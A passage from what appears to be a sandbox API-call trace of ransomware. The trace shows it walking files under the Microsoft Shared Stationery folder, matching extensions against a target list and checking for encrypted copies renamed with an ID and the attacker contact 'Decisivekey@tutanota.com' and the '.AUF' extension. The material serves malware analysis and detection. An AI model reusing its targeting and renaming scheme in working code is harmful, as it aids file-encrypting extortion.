(lpString=".pdf") returned 4 [0211.804] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString=".xls") returned 4 [0211.804] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString=".xlsx") returned 5 [0211.804] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0211.804] lstrlenW (lpString=".ppt") returned 4 [0211.804] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.805] lstrlenW (lpString=".zip") returned 4 [0211.805] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.805] lstrlenW (lpString=".rar") returned 4 [0211.805] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.805] lstrlenW (lpString=".bz2") returned 4 [0211.805] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.805] lstrlenW (lpString=".7z") returned 3 [0211.805] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.805] lstrlenW (lpString=".dbf") returned 4 [0211.805] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.805] lstrlenW (lpString=".1cd") returned 4 [0211.805] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.805] lstrlenW (lpString=".jpg") returned 4 [0211.805] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.805] lstrcmpiW (lpString1=".gif", lpString2=".AUF") returned 1 [0211.805] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0211.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.874] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4587) returned 1 [0211.874] CloseHandle (hObject=0x1e0) returned 1 [0211.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0211.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.874] lstrlenW (lpString=".doc") returned 4 [0211.874] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0211.874] lstrlenW (lpString=".docx") returned 5 [0211.874] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0211.874] lstrlenW (lpString=".pdf") returned 4 [0211.874] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0211.874] lstrlenW (lpString=".xls") returned 4 [0211.874] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0211.874] lstrlenW (lpString=".xlsx") returned 5 [0211.874] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0211.874] lstrlenW (lpString=".ppt") returned 4 [0211.874] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0211.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.874] lstrlenW (lpString=".zip") returned 4 [0211.874] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0211.874] lstrlenW (lpString=".rar") returned 4 [0211.874] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0211.874] lstrlenW (lpString=".bz2") returned 4 [0211.874] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0211.874] lstrlenW (lpString=".7z") returned 3 [0211.874] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0211.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.874] lstrlenW (lpString=".dbf") returned 4 [0211.874] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0211.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.874] lstrlenW (lpString=".1cd") returned 4 [0211.874] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0211.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.874] lstrlenW (lpString=".jpg") returned 4 [0211.874] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0211.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.875] lstrlenW (lpString=".doc") returned 4 [0211.875] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0211.875] lstrlenW (lpString=".docx") returned 5 [0211.875] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0211.875] lstrlenW (lpString=".pdf") returned 4 [0211.875] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0211.875] lstrlenW (lpString=".xls") returned 4 [0211.875] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0211.875] lstrlenW (lpString=".xlsx") returned 5 [0211.875] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0211.875] lstrlenW (lpString=".ppt") returned 4 [0211.875] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0211.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.875] lstrlenW (lpString=".zip") returned 4 [0211.875] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0211.875] lstrlenW (lpString=".rar") returned 4 [0211.875] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0211.875] lstrlenW (lpString=".bz2") returned 4 [0211.875] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0211.875] lstrlenW (lpString=".7z") returned 3 [0211.875] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0211.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.875] lstrlenW (lpString=".dbf") returned 4 [0211.875] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0211.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.875] lstrlenW (lpString=".1cd") returned 4 [0211.875] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0211.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0211.875] lstrlenW (lpString=".jpg") returned 4 [0211.875] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0211.875] lstrcmpiW (lpString1=".jpg", lpString2=".AUF") returned 1 [0211.875] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0211.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.875] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=6406) returned 1 [0211.875] CloseHandle (hObject=0x1e0) returned 1 [0211.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0211.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.876] lstrlenW (lpString=".doc") returned 4 [0211.876] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0211.876] lstrlenW (lpString=".docx") returned 5 [0211.876] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0211.876] lstrlenW (lpString=".pdf") returned 4 [0211.876] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0211.876] lstrlenW (lpString=".xls") returned 4 [0211.876] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0211.876] lstrlenW (lpString=".xlsx") returned 5 [0211.876] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0211.876] lstrlenW (lpString=".ppt") returned 4 [0211.876] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0211.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.876] lstrlenW (lpString=".zip") returned 4 [0211.876] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0211.876] lstrlenW (lpString=".rar") returned 4 [0211.876] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0211.876] lstrlenW (lpString=".bz2") returned 4 [0211.876] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0211.876] lstrlenW (lpString=".7z") returned 3 [0211.876] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0211.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.876] lstrlenW (lpString=".dbf") returned 4 [0211.876] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0211.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.876] lstrlenW (lpString=".1cd") returned 4 [0211.876] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0211.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.876] lstrlenW (lpString=".jpg") returned 4 [0211.876] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0211.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.876] lstrlenW (lpString=".doc") returned 4 [0211.876] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0211.876] lstrlenW (lpString=".docx") returned 5 [0211.876] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0211.876] lstrlenW (lpString=".pdf") returned 4 [0211.876] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0211.877] lstrlenW (lpString=".xls") returned 4 [0211.877] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0211.877] lstrlenW (lpString=".xlsx") returned 5 [0211.877] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0211.877] lstrlenW (lpString=".ppt") returned 4 [0211.877] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0211.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.877] lstrlenW (lpString=".zip") returned 4 [0211.877] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0211.877] lstrlenW (lpString=".rar") returned 4 [0211.877] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0211.877] lstrlenW (lpString=".bz2") returned 4 [0211.877] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0211.877] lstrlenW (lpString=".7z") returned 3 [0211.877] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0211.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.877] lstrlenW (lpString=".dbf") returned 4 [0211.877] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0211.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.877] lstrlenW (lpString=".1cd") returned 4 [0211.877] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0211.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0211.877] lstrlenW (lpString=".jpg") returned 4 [0211.877] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0211.877] lstrcmpiW (lpString1=".wmf", lpString2=".AUF") returned 1 [0211.877] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0211.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.877] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2920) returned 1 [0211.877] CloseHandle (hObject=0x1e0) returned 1 [0211.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0211.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.878] lstrlenW (lpString=".doc") returned 4 [0211.878] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString=".docx") returned 5 [0211.878] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0211.878] lstrlenW (lpString=".pdf") returned 4 [0211.878] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString=".xls") returned 4 [0211.878] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0211.878] lstrlenW (lpString=".xlsx") returned 5 [0211.878] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0211.878] lstrlenW (lpString=".ppt") returned 4 [0211.878] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.878] lstrlenW (lpString=".zip") returned 4 [0211.878] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0211.878] lstrlenW (lpString=".rar") returned 4 [0211.878] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString=".bz2") returned 4 [0211.878] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString=".7z") returned 3 [0211.878] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0211.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.878] lstrlenW (lpString=".dbf") returned 4 [0211.878] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.878] lstrlenW (lpString=".1cd") returned 4 [0211.878] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.878] lstrlenW (lpString=".jpg") returned 4 [0211.878] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.878] lstrlenW (lpString=".doc") returned 4 [0211.878] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString=".docx") returned 5 [0211.878] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0211.878] lstrlenW (lpString=".pdf") returned 4 [0211.878] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString=".xls") returned 4 [0211.878] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0211.878] lstrlenW (lpString=".xlsx") returned 5 [0211.878] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0211.878] lstrlenW (lpString=".ppt") returned 4 [0211.878] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0211.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.878] lstrlenW (lpString=".zip") returned 4 [0211.878] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0211.878] lstrlenW (lpString=".rar") returned 4 [0211.878] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0211.879] lstrlenW (lpString=".bz2") returned 4 [0211.879] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0211.879] lstrlenW (lpString=".7z") returned 3 [0211.879] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0211.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.879] lstrlenW (lpString=".dbf") returned 4 [0211.879] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0211.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.879] lstrlenW (lpString=".1cd") returned 4 [0211.879] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0211.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0211.879] lstrlenW (lpString=".jpg") returned 4 [0211.879] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0211.879] lstrcmpiW (lpString1=".wmf", lpString2=".AUF") returned 1 [0211.879] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0211.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.879] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=7498) returned 1 [0211.879] CloseHandle (hObject=0x1e0) returned 1 [0211.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0211.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.879] lstrlenW (lpString=".doc") returned 4 [0211.879] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0211.879] lstrlenW (lpString=".docx") returned 5 [0211.879] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0211.880] lstrlenW (lpString=".pdf") returned 4 [0211.880] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString=".xls") returned 4 [0211.880] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0211.880] lstrlenW (lpString=".xlsx") returned 5 [0211.880] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0211.880] lstrlenW (lpString=".ppt") returned 4 [0211.880] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.880] lstrlenW (lpString=".zip") returned 4 [0211.880] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0211.880] lstrlenW (lpString=".rar") returned 4 [0211.880] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString=".bz2") returned 4 [0211.880] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString=".7z") returned 3 [0211.880] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0211.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.880] lstrlenW (lpString=".dbf") returned 4 [0211.880] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.880] lstrlenW (lpString=".1cd") returned 4 [0211.880] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.880] lstrlenW (lpString=".jpg") returned 4 [0211.880] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.880] lstrlenW (lpString=".doc") returned 4 [0211.880] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString=".docx") returned 5 [0211.880] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0211.880] lstrlenW (lpString=".pdf") returned 4 [0211.880] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString=".xls") returned 4 [0211.880] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0211.880] lstrlenW (lpString=".xlsx") returned 5 [0211.880] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0211.880] lstrlenW (lpString=".ppt") returned 4 [0211.880] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.880] lstrlenW (lpString=".zip") returned 4 [0211.880] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0211.880] lstrlenW (lpString=".rar") returned 4 [0211.880] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString=".bz2") returned 4 [0211.880] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0211.880] lstrlenW (lpString=".7z") returned 3 [0211.881] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0211.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.881] lstrlenW (lpString=".dbf") returned 4 [0211.881] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0211.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.881] lstrlenW (lpString=".1cd") returned 4 [0211.881] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0211.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0211.881] lstrlenW (lpString=".jpg") returned 4 [0211.881] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0211.881] lstrcmpiW (lpString1=".htm", lpString2=".AUF") returned 1 [0211.881] lstrlenW (lpString="Hand Prints.htm") returned 15 [0211.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.881] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=235) returned 1 [0211.882] CloseHandle (hObject=0x1e0) returned 1 [0211.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0211.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: 